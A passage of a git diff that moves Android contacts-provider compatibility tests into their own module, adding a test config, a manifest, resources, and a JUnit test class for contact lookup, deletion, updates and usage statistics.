+
+ <!-- We need the calllog permissions for ContactsTest, which is the test for legacy provider. -->
+ <uses-permission android:name="android.permission.READ_CALL_LOG" />
+ <uses-permission android:name="android.permission.WRITE_CALL_LOG" />
+ <application>
+ <uses-library android:name="android.test.runner"/>
+
+ <service android:name=".account.MockAccountService"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.accounts.AccountAuthenticator"/>
+ </intent-filter>
+
+ <meta-data android:name="android.accounts.AccountAuthenticator"
+ android:resource="@xml/contactprovider_authenticator"/>
+ </service>
+
+ <provider
+ android:name=".DummyGalProvider"
+ android:authorities="android.provider.cts.contacts.dgp"
+ android:exported="true"
+ android:readPermission="android.permission.BIND_DIRECTORY_SEARCH" >
+ <meta-data android:name="android.content.ContactDirectory" android:value="true" />
+ </provider>
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.provider.cts.contacts">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener" />
+ </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/contactsprovider/AndroidTest.xml b/tests/tests/contactsprovider/AndroidTest.xml
new file mode 100644
index 0000000..2e9fee7
--- /dev/null
+++ b/tests/tests/contactsprovider/AndroidTest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Provider test cases">
+ <option name="test-suite-tag" value="cts" />
+
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <!-- Instant apps can't access the system providers. -->
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsContactsProviderTestCases.apk" />
+ </target_preparer>
+
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
+ <option name="package" value="android.provider.cts.contacts" />
+ <option name="runtime-hint" value="10m00s" />
+ </test>
+</configuration>
diff --git a/tests/tests/contactsprovider/OWNERS b/tests/tests/contactsprovider/OWNERS
new file mode 100644
index 0000000..f1a239a
--- /dev/null
+++ b/tests/tests/contactsprovider/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 161000
+omakoto@google.com
+yamasani@google.com
diff --git a/tests/tests/contactsprovider/res/drawable/ic_cts_minitab_selected.png b/tests/tests/contactsprovider/res/drawable/ic_cts_minitab_selected.png
new file mode 100644
index 0000000..c730050
--- /dev/null
+++ b/tests/tests/contactsprovider/res/drawable/ic_cts_minitab_selected.png
Binary files differ
diff --git a/tests/tests/contactsprovider/res/drawable/ic_cts_selected.png b/tests/tests/contactsprovider/res/drawable/ic_cts_selected.png
new file mode 100644
index 0000000..72a065c
--- /dev/null
+++ b/tests/tests/contactsprovider/res/drawable/ic_cts_selected.png
Binary files differ
diff --git a/tests/tests/provider/res/drawable/size_48x48.jpg b/tests/tests/contactsprovider/res/drawable/size_48x48.jpg
similarity index 100%
rename from tests/tests/provider/res/drawable/size_48x48.jpg
rename to tests/tests/contactsprovider/res/drawable/size_48x48.jpg
Binary files differ
diff --git a/tests/tests/contactsprovider/res/drawable/testimage.jpg b/tests/tests/contactsprovider/res/drawable/testimage.jpg
new file mode 100644
index 0000000..754df0c
--- /dev/null
+++ b/tests/tests/contactsprovider/res/drawable/testimage.jpg
Binary files differ
diff --git a/tests/tests/contactsprovider/res/values/strings.xml b/tests/tests/contactsprovider/res/values/strings.xml
new file mode 100644
index 0000000..2aee454
--- /dev/null
+++ b/tests/tests/contactsprovider/res/values/strings.xml
@@ -0,0 +1,19 @@
+<!--
+ ~ Copyright (C) 2019 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License
+ -->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+ <string name="label">Contacts provider</string>
+</resources>
diff --git a/tests/tests/provider/res/xml/contactprovider_authenticator.xml b/tests/tests/contactsprovider/res/xml/contactprovider_authenticator.xml
similarity index 100%
rename from tests/tests/provider/res/xml/contactprovider_authenticator.xml
rename to tests/tests/contactsprovider/res/xml/contactprovider_authenticator.xml
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/PhotoUtil.java b/tests/tests/contactsprovider/src/android/provider/cts/PhotoUtil.java
new file mode 100644
index 0000000..726d63d
--- /dev/null
+++ b/tests/tests/contactsprovider/src/android/provider/cts/PhotoUtil.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts;
+
+import android.provider.cts.contacts.R;
+
+import android.content.Context;
+import com.android.compatibility.common.util.FileUtils;
+
+import java.io.InputStream;
+
+public class PhotoUtil {
+
+ public static byte[] getTestPhotoData(Context context) {
+ InputStream input = context.getResources().openRawResource(R.drawable.testimage);
+ return FileUtils.readInputStreamFully(input);
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/CommonDatabaseUtils.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/CommonDatabaseUtils.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/CommonDatabaseUtils.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/CommonDatabaseUtils.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactUtil.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactUtil.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactUtil.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactUtil.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContractIntentsTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContractIntentsTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContractIntentsTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContractIntentsTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_AggregationSuggestionsTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_AggregationSuggestionsTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_AggregationSuggestionsTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_AggregationSuggestionsTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_AllUriTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_AllUriTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_AllUriTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_AllUriTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_EmailTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_EmailTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_EmailTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_EmailTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_EventTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_EventTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_EventTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_EventTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_ImTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_ImTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_ImTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_ImTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_OrganizationTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_OrganizationTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_OrganizationTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_OrganizationTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_PhoneTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_PhoneTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_PhoneTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_PhoneTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_RelationTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_RelationTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_RelationTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_RelationTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_SipAddressTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_SipAddressTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_SipAddressTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_SipAddressTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_StructuredPostalTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_StructuredPostalTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_StructuredPostalTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_CommonDataKinds_StructuredPostalTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ContactCountsTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_ContactCountsTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_ContactCountsTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_ContactCountsTest.java
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_ContactsTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_ContactsTest.java
new file mode 100644
index 0000000..cb3a2a6
--- /dev/null
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_ContactsTest.java
@@ -0,0 +1,430 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.net.Uri;
+import android.os.SystemClock;
+import android.provider.ContactsContract;
+import android.provider.ContactsContract.CommonDataKinds.StructuredName;
+import android.provider.ContactsContract.Contacts;
+import android.provider.ContactsContract.Directory;
+import android.provider.ContactsContract.RawContacts;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestContact;
+import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestRawContact;
+import android.provider.cts.contacts.account.StaticAccountAuthenticator;
+import android.test.AndroidTestCase;
+
+import java.util.List;
+
+public class ContactsContract_ContactsTest extends AndroidTestCase {
+
+ private StaticAccountAuthenticator mAuthenticator;
+ private ContentResolver mResolver;
+ private ContactsContract_TestDataBuilder mBuilder;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ mResolver = getContext().getContentResolver();
+ ContentProviderClient provider =
+ mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
+ mBuilder = new ContactsContract_TestDataBuilder(provider);
+
+ mAuthenticator = new StaticAccountAuthenticator(getContext());
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ mBuilder.cleanup();
+ }
+
+ public void testMarkAsContacted() throws Exception {
+ TestRawContact rawContact = mBuilder.newRawContact().insert().load();
+ TestContact contact = rawContact.getContact().load();
+
+ assertEquals(0, contact.getLong(Contacts.LAST_TIME_CONTACTED));
+ assertEquals(0, contact.getLong(Contacts.TIMES_CONTACTED));
+
+ assertEquals(0, rawContact.getLong(Contacts.LAST_TIME_CONTACTED));
+ assertEquals(0, rawContact.getLong(Contacts.TIMES_CONTACTED));
+
+ // Note we no longer support contact affinity as of Q, so times_contacted and
+ // last_time_contacted are always 0.
+
+ for (int i = 1; i < 10; i++) {
+ Contacts.markAsContacted(mResolver, contact.getId());
+ contact.load();
+ rawContact.load();
+
+ assertEquals(0, contact.getLong(Contacts.LAST_TIME_CONTACTED));
+ assertEquals("#" + i, 0, contact.getLong(Contacts.TIMES_CONTACTED));
+
+ assertEquals(0, rawContact.getLong(Contacts.LAST_TIME_CONTACTED));
+ assertEquals("#" + i, 0, rawContact.getLong(Contacts.TIMES_CONTACTED));
+ }
+ }
+
+ public void testContentUri() {
+ Context context = getContext();
+ PackageManager packageManager = context.getPackageManager();
+ Intent intent = new Intent(Intent.ACTION_VIEW, ContactsContract.Contacts.CONTENT_URI);
+ List<ResolveInfo> resolveInfos = packageManager.queryIntentActivities(intent, 0);
+ assertFalse("Device does not support the activity intent: " + intent,
+ resolveInfos.isEmpty());
+ }
+
+ public void testLookupUri() throws Exception {
+ TestRawContact rawContact = mBuilder.newRawContact().insert().load();
+ TestContact contact = rawContact.getContact().load();
+
+ Uri contactUri = contact.getUri();
+ long contactId = contact.getId();
+ String lookupKey = contact.getString(Contacts.LOOKUP_KEY);
+
+ Uri lookupUri = Contacts.getLookupUri(contactId, lookupKey);
+ assertEquals(ContentUris.withAppendedId(Uri.withAppendedPath(Contacts.CONTENT_LOOKUP_URI,
+ lookupKey), contactId), lookupUri);
+
+ Uri nullLookupUri = Contacts.getLookupUri(contactId, null);
+ assertNull(nullLookupUri);
+
+ Uri emptyLookupUri = Contacts.getLookupUri(contactId, "");
+ assertNull(emptyLookupUri);
+
+ Uri lookupUri2 = Contacts.getLookupUri(mResolver, contactUri);
+ assertEquals(lookupUri, lookupUri2);
+
+ Uri contactUri2 = Contacts.lookupContact(mResolver, lookupUri);
+ assertEquals(contactUri, contactUri2);
+ }
+
+ public void testInsert_isUnsupported() {
+ DatabaseAsserts.assertInsertIsUnsupported(mResolver, Contacts.CONTENT_URI);
+ }
+
+ public void testContactDelete_removesContactRecord() {
+ assertContactCreateDelete();
+ }
+
+ public void testContactDelete_hasDeleteLog() {
+ long start = System.currentTimeMillis();
+ DatabaseAsserts.ContactIdPair ids = assertContactCreateDelete();
+ DatabaseAsserts.assertHasDeleteLogGreaterThan(mResolver, ids.mContactId, start);
+
+ // Clean up. Must also remove raw contact.
+ RawContactUtil.delete(mResolver, ids.mRawContactId, true);
+ }
+
+ public void testContactDelete_marksRawContactsForDeletion() {
+ DatabaseAsserts.ContactIdPair ids = assertContactCreateDelete();
+
+ String[] projection = new String[] {
+ ContactsContract.RawContacts.DIRTY,
+ ContactsContract.RawContacts.DELETED
+ };
+ List<String[]> records = RawContactUtil.queryByContactId(mResolver, ids.mContactId,
+ projection);
+ for (String[] arr : records) {
+ assertEquals("1", arr[0]);
+ assertEquals("1", arr[1]);
+ }
+
+ // Clean up
+ RawContactUtil.delete(mResolver, ids.mRawContactId, true);
+ }
+
+ public void testContactDelete_localContactDeletedImmediately() {
+ // Create a raw contact in the local (null) account
+ DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(
+ mResolver, null);
+
+ ContactUtil.delete(mResolver, ids.mContactId);
+
+ // Assert that the local raw contact is removed from the database and
+ // not merely marked DELETED=1.
+ assertNull(RawContactUtil.queryByRawContactId(mResolver, ids.mRawContactId, null));
+
+ // Nothing to clean up
+ }
+
+ public void testContactDelete_allLocalContactsDeletedImmediately() {
+ // Create two raw contacts in the local (null) account
+ DatabaseAsserts.ContactIdPair ids1 = DatabaseAsserts.assertAndCreateContactWithName(
+ mResolver, null, "John Smith");
+ DatabaseAsserts.ContactIdPair ids2 = DatabaseAsserts.assertAndCreateContactWithName(
+ mResolver, null, "John Smith");
+
+ // Aggregate the two raw contacts together
+ ContactUtil.setAggregationException(mResolver,
+ ContactsContract.AggregationExceptions.TYPE_KEEP_TOGETHER, ids1.mRawContactId,
+ ids2.mRawContactId);
+
+ // Assert that the contacts were aggregated together
+ long contactId1 = RawContactUtil.queryContactIdByRawContactId(mResolver,
+ ids1.mRawContactId);
+ long contactId2 = RawContactUtil.queryContactIdByRawContactId(mResolver,
+ ids2.mRawContactId);
+ assertEquals(contactId1, contactId2);
+
+ // Delete the contact
+ ContactUtil.delete(mResolver, contactId1);
+
+ // Assert that both of the local raw contacts were removed from the database and
+ // not merely marked DELETED=1.
+ assertNull(RawContactUtil.queryByRawContactId(mResolver, ids1.mRawContactId, null));
+ assertNull(RawContactUtil.queryByRawContactId(mResolver, ids2.mRawContactId, null));
+
+ // Nothing to clean up
+ }
+
+ public void testContactDelete_localContactDeletedImmediatelyWhenAggregatedWithNonLocal() {
+ // Create a raw contact in the local (null) account
+ DatabaseAsserts.ContactIdPair ids1 = DatabaseAsserts.assertAndCreateContactWithName(
+ mResolver, null, "John Smith");
+
+ // Create a raw contact in a non-local account with the same name
+ DatabaseAsserts.ContactIdPair ids2 = DatabaseAsserts.assertAndCreateContactWithName(
+ mResolver, StaticAccountAuthenticator.ACCOUNT_1, "John Smith");
+
+ // Aggregate the two raw contacts together
+ ContactUtil.setAggregationException(mResolver,
+ ContactsContract.AggregationExceptions.TYPE_KEEP_TOGETHER, ids1.mRawContactId,
+ ids2.mRawContactId);
+
+ // Assert that the contacts were aggregated together
+ long contactId1 = RawContactUtil.queryContactIdByRawContactId(mResolver,
+ ids1.mRawContactId);
+ long contactId2 = RawContactUtil.queryContactIdByRawContactId(mResolver,
+ ids2.mRawContactId);
+ assertEquals(contactId1, contactId2);
+
+ // Delete the contact
+ ContactUtil.delete(mResolver, contactId1);
+
+ // Assert that the local raw contact was removed from the database
+ assertNull(RawContactUtil.queryByRawContactId(mResolver, ids1.mRawContactId, null));
+
+ // Assert that the non-local raw contact was marked DELETED=1
+ String[] projection = new String[]{
+ ContactsContract.RawContacts.DIRTY,
+ ContactsContract.RawContacts.DELETED
+ };
+ List<String[]> records = RawContactUtil.queryByContactId(mResolver, ids2.mContactId,
+ projection);
+ for (String[] arr : records) {
+ assertEquals("1", arr[0]);
+ assertEquals("1", arr[1]);
+ }
+
+ // Clean up
+ RawContactUtil.delete(mResolver, ids2.mRawContactId, true);
+ }
+
+ public void testContactUpdate_updatesContactUpdatedTimestamp() {
+ DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
+
+ long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
+
+ ContentValues values = new ContentValues();
+ values.put(ContactsContract.Contacts.STARRED, 1);
+
+ SystemClock.sleep(1);
+ ContactUtil.update(mResolver, ids.mContactId, values);
+
+ long newTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
+ assertTrue(newTime > baseTime);
+
+ // Clean up
+ RawContactUtil.delete(mResolver, ids.mRawContactId, true);
+ }
+
+ /**
+ * Note we no longer support contact affinity as of Q, so times_contacted and
+ * last_time_contacted are always 0.
+ */
+ public void testContactUpdate_usageStats() throws Exception {
+ final TestRawContact rawContact = mBuilder.newRawContact().insert().load();
+ final TestContact contact = rawContact.getContact().load();
+
+ contact.load();
+ assertEquals(0L, contact.getLong(Contacts.TIMES_CONTACTED));
+ assertEquals(0L, contact.getLong(Contacts.LAST_TIME_CONTACTED));
+
+ final long now = System.currentTimeMillis();
+
+ ContentValues values = new ContentValues();
+ values.clear();
+ values.put(Contacts.TIMES_CONTACTED, 3);
+ values.put(Contacts.LAST_TIME_CONTACTED, now);
+ ContactUtil.update(mResolver, contact.getId(), values);
+
+ contact.load();
+ assertEquals(0, contact.getLong(Contacts.TIMES_CONTACTED));
+ assertEquals(0, contact.getLong(Contacts.LAST_TIME_CONTACTED));
+
+ // This is also the same as markAsContacted().
+ values.clear();
+ values.put(Contacts.LAST_TIME_CONTACTED, now);
+ ContactUtil.update(mResolver, contact.getId(), values);
+
+ contact.load();
+ assertEquals(0, contact.getLong(Contacts.TIMES_CONTACTED));
+ assertEquals(0, contact.getLong(Contacts.LAST_TIME_CONTACTED));
+
+ values.clear();
+ values.put(Contacts.TIMES_CONTACTED, 10);
+
+ ContactUtil.update(mResolver, contact.getId(), values);
+
+ contact.load();
+ assertEquals(0, contact.getLong(Contacts.TIMES_CONTACTED));
+ assertEquals(0, contact.getLong(Contacts.LAST_TIME_CONTACTED));
+ }
+
+ /**
+ * Make sure the rounded usage stats values are also what the callers would see in where
+ * clauses.
+ *
+ * This tests both contacts and raw_contacts.
+ */
+ public void testContactUpdateDelete_usageStats_visibilityInWhere() throws Exception {
+ final TestRawContact rawContact = mBuilder.newRawContact().insert().load();
+ final TestContact contact = rawContact.getContact().load();
+
+ // To make things more predictable, inline markAsContacted here with a known timestamp.
+ final long now = (System.currentTimeMillis() / 86400 * 86400) + 86400 * 5 + 123;
+
+ ContentValues values = new ContentValues();
+ values.put(Contacts.LAST_TIME_CONTACTED, now);
+
+ // This makes the internal TIMES_CONTACTED 35. But the visible value is still 30.
+ for (int i = 0; i < 35; i++) {
+ ContactUtil.update(mResolver, contact.getId(), values);
+ }
+
+ contact.load();
+ rawContact.load();
+
+ assertEquals(0, contact.getLong(Contacts.LAST_TIME_CONTACTED));
+ assertEquals(0, contact.getLong(Contacts.TIMES_CONTACTED));
+
+ assertEquals(0, rawContact.getLong(Contacts.LAST_TIME_CONTACTED));
+ assertEquals(0, rawContact.getLong(Contacts.TIMES_CONTACTED));
+ }
+
+ public void testProjection() throws Exception {
+ final TestRawContact rawContact = mBuilder.newRawContact().insert().load();
+ rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
+ .with(StructuredName.GIVEN_NAME, "xxx")
+ .insert();
+
+ final TestContact contact = rawContact.getContact().load();
+ final long contactId = contact.getId();
+ final String lookupKey = contact.getString(Contacts.LOOKUP_KEY);
+
+ final String[] PROJECTION = new String[]{
+ Contacts._ID,
+ Contacts.DISPLAY_NAME,
+ Contacts.DISPLAY_NAME_PRIMARY,
+ Contacts.DISPLAY_NAME_ALTERNATIVE,
+ Contacts.DISPLAY_NAME_SOURCE,
+ Contacts.PHONETIC_NAME,
+ Contacts.PHONETIC_NAME_STYLE,
+ Contacts.SORT_KEY_PRIMARY,
+ Contacts.SORT_KEY_ALTERNATIVE,
+ Contacts.LAST_TIME_CONTACTED,
+ Contacts.TIMES_CONTACTED,
+ Contacts.STARRED,
+ Contacts.PINNED,
+ Contacts.IN_DEFAULT_DIRECTORY,
+ Contacts.IN_VISIBLE_GROUP,
+ Contacts.PHOTO_ID,
+ Contacts.PHOTO_FILE_ID,
+ Contacts.PHOTO_URI,
+ Contacts.PHOTO_THUMBNAIL_URI,
+ Contacts.CUSTOM_RINGTONE,
+ Contacts.HAS_PHONE_NUMBER,
+ Contacts.SEND_TO_VOICEMAIL,
+ Contacts.IS_USER_PROFILE,
+ Contacts.LOOKUP_KEY,
+ Contacts.NAME_RAW_CONTACT_ID,
+ Contacts.CONTACT_PRESENCE,
+ Contacts.CONTACT_CHAT_CAPABILITY,
+ Contacts.CONTACT_STATUS,
+ Contacts.CONTACT_STATUS_TIMESTAMP,
+ Contacts.CONTACT_STATUS_RES_PACKAGE,
+ Contacts.CONTACT_STATUS_LABEL,
+ Contacts.CONTACT_STATUS_ICON,
+ Contacts.CONTACT_LAST_UPDATED_TIMESTAMP
+ };
+
+ // Contacts.CONTENT_URI
+ DatabaseAsserts.checkProjection(mResolver,
+ Contacts.CONTENT_URI,
+ PROJECTION,
+ new long[]{contact.getId()}
+ );
+
+ // Contacts.CONTENT_FILTER_URI
+ DatabaseAsserts.checkProjection(mResolver,
+ Contacts.CONTENT_FILTER_URI.buildUpon().appendEncodedPath("xxx").build(),
+ PROJECTION,
+ new long[]{contact.getId()}
+ );
+
+ // Contacts.CONTENT_FILTER_URI
+ DatabaseAsserts.checkProjection(mResolver,
+ Contacts.ENTERPRISE_CONTENT_FILTER_URI.buildUpon().appendEncodedPath("xxx")
+ .appendQueryParameter(ContactsContract.DIRECTORY_PARAM_KEY,
+ String.valueOf(Directory.DEFAULT)).build(),
+ PROJECTION,
+ new long[]{contact.getId()}
+ );
+
+ // Contacts.CONTENT_LOOKUP_URI
+ DatabaseAsserts.checkProjection(mResolver,
+ Contacts.getLookupUri(contactId, lookupKey),
+ PROJECTION,
+ new long[]{contact.getId()}
+ );
+ }
+
+ /**
+ * Create a contact. Delete it. And assert that the contact record is no longer present.
+ *
+ * @return The contact id and raw contact id that was created.
+ */
+ private DatabaseAsserts.ContactIdPair assertContactCreateDelete() {
+ DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
+
+ SystemClock.sleep(1);
+ ContactUtil.delete(mResolver, ids.mContactId);
+
+ assertFalse(ContactUtil.recordExistsForContactId(mResolver, ids.mContactId));
+
+ return ids;
+ }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_DataTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_DataTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataUsageTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_DataUsageTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DataUsageTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_DataUsageTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DeletedContacts.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_DeletedContacts.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DeletedContacts.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_DeletedContacts.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DirectoryTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_DirectoryTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DirectoryTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_DirectoryTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DumpFileProviderTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_DumpFileProviderTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_DumpFileProviderTest.java
rename to tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_DumpFileProviderTest.java
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_FrequentsStrequentsTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_FrequentsStrequentsTest.java
similarity index 100%
rename from tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_FrequentsStrequentsTest.java
